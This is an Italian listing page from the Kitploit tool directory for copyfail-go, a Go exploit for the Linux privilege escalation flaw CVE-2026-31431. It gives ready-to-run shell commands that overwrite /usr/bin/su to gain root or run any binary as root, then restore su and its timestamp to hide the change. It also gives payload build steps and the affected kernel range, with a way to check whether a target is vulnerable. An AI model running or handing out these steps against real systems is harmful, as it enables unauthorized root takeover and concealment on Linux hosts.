Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
copyfail-go — Un'implementazione in Go di copyfail (CVE-2026-31431) | Kitploit
Strumenti/GitHubGitHub/badsectorlabs/copyfail-go
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitSviluppo PayloadBinary Exploitation
GitHubbadsectorlabs/copyfail-go

copyfail-go

Un'implementazione in Go di copyfail (CVE-2026-31431)

Vedi Repository
361783 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CopyFail Go

La maggior parte degli LPE su Linux necessitano di una finestra di race o di un offset specifico del kernel. Copy Fail è un difetto logico lineare — non necessita di nessuno dei due. Lo stesso script Python da 732 byte binario Go statico compromette ogni distribuzione Linux rilasciata dal 2017.

Un'implementazione in Go di CVE-2026-31431. Nel caso serva un binario statico e nessuna dipendenza da Python.

Vedi copy.fail per maggiori informazioni.

Shell interattiva

root@kitploit:~
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su    # Ripristina il binario su originale
root@host# touch -r /tmp/su /usr/bin/su # Ripristina la data di modifica del su originale
root@host# rm /tmp/su
root@host# # Fai cose come root =)

Esegui il binario come root

Utile per elevare un programma a root

root@kitploit:~
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Usa ciò che hai eseguito per ripristinare su da /tmp/su

Non ti fidi di quei blob esadecimali?

Compila i payload da solo con payloads/build-n-print.sh su un host Debian (testato con Debian 13).

Dovrai eseguire apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf e poi eseguire lo script dalla directory dei payload. Compilerà ogni payload e produrrà le stringhe esadecimali compresse con zlib. Confrontale con quelle presenti in main.go (oppure sostituiscile con le tue) e compila i binari copyfile-go con goreleaser build --snapshot --clean dalla directory principale del progetto.

Kernel interessati (da copy-fail-c)

root@kitploit:~
floor:    torvalds/linux 72548b093ee3   August 2017, v4.14
                                        (AF_ALG iov_iter rework that
                                         introduced the file-page write
                                         primitive via splice into the AEAD
                                         scatterlist)

ceiling:  torvalds/linux a664bf3d603d   April 2026, mainline
                                        (reverts the 2017 algif_aead
                                         in-place optimization; separates
                                         source and destination scatterlists
                                         so page-cache pages can no longer
                                         be a writable crypto destination)

In mezzo: ogni kernel delle principali distribuzioni che non ha backportato la correzione. Ubuntu, RHEL, SUSE, Amazon Linux e Debian sono risultati tutti vulnerabili nei loro kernel standard delle immagini cloud al momento della divulgazione. I backport a livello di distribuzione hanno iniziato a essere distribuiti intorno al 2026-04-29 insieme alla divulgazione pubblica. Per verificare se un kernel target rientra nella finestra, controlla se a664bf3d603d (o il suo backport specifico della distribuzione) è presente nel git log del kernel o nel changelog della distribuzione.

Scarica lo strumento